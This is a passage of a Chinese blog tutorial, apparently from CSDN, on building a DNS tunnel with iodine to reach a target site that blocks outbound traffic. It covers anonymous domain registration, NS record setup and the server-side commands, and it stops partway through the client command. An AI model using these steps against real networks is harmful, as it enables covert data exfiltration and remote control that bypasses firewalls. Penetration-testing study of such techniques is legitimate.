一文学会DNS隧道搭建

本文详细介绍了如何在不具备常规网络访问条件时,利用DNS隧道技术进行内外网通信。讲解了iodine, dnscat2, dns2tcp三种DNS隧道的搭建步骤,包括服务端和客户端配置,以及遇到的问题和解决方法。此外,还提到了frp用于增强DNS隧道的功能,以及dnscat2的直连和中继模式。最后,探讨了DNS隧道在不同环境下的应用场景。" 128582369,16082994,CISP-PTS详解:渗透测试专家认证,"['安全', 'web安全', '渗透测试', 'CISP']

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一.DNS隧道准备

和我哥们在看一个站点的时候,发现是不出网的,但是站点可以做DNS查询,所以想着搭建一个DNS隧道。

此篇文章为了读者看起来更加清楚,我的公网服务器与域名都是未打码的,希望各位大佬手下留情。

1.DNS隧道介绍

DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.xxx.ga),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。

搭建DNS隧道的工具目前有iodine,dnscat,dns2tcp等

我目前使用的是iodine工具去搭建。

2.前期准备

1个域名,1个公网服务器

需要申请一个域名(最好匿名的,推荐申请网站http://www.freenom.com/zh/index.html),免费且匿名的。

申请的时候直接带上后缀申请,不然会显示域名不可用(例如:jingbao123.ga)。

image-20221112102042170.png

申请好之后推荐将freenom的域名服务器更改为腾讯dnspod的,更方面管理域名并且可以配置NS解析,freenom我没找到NS记录。

dnspod:https://www.dnspod.cn,在dnspod中添加刚申请的域名,然后dnspod会给出两条dns服务器地址,image-20221112101425317.png

将freenom中dns服务器更改为dnspod提供的地址,就可以将域名的解析权给引到dnspod。

image-20221112101828515.png

dnspod得到域名的管理权之后,在里面添加两条解析记录。

image-20221112102529262.png

第一条A类记录,告诉域名系统,“www.woshishui120.ga"的IP地址是"121.xxx.xxx.xxx”

第二条NS记录,告诉域名系统,"ns.woshishui120.ga"的域名由"www.woshishui120.ga"进行解析。

到此前期准备工作就已经完成了,已经将域名绑定到了我们的公网服务器上。

二.iodine DNS隧道搭建

在我们的公网服务器安装iodine,该工具服务端为iodined,客户端为iodine。

执行apt install iodine命令会同时安装服务端与客户端。

1.服务端

在公网服务器上部署iodine服务端。(需要root权限运行)

iodined -f -c -P 123.com 192.168.200.1 ns.woshishui120.ga -DD

  • \-f:在前台运行

  • \-c:禁止检查所有传入请求的客户端IP地址。

  • \-P:客户端和服务端之间用于验证身份的密码。

  • \-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

这里的192.168.200.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
注意!填写的地址为NS记录

image-20221112103259591.png

执行完该命令之后会新生成一个dns0虚拟网卡,ip地址就是刚才命令中输入的ip地址(192.168.200.1)。

image-20221112105106479.png

**ubuntu默认53端口是打开的,通过下面命令关闭掉53端口**

rm /etc/resolv.conf&&echo "nameserver x.x.x.x" >> /etc/resolv.conf 配置dns服务器(x.x.x.x改为dns服务器,8.8.8.8等)

systemctl stop systemd-resolved 停止该进程

systemctl disable systemd-resolved 关闭开机自启动

2. 客户端

客户端我使用的kali,kali自带iodine工具。

iodine -f -P 123.com ns.woshish

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值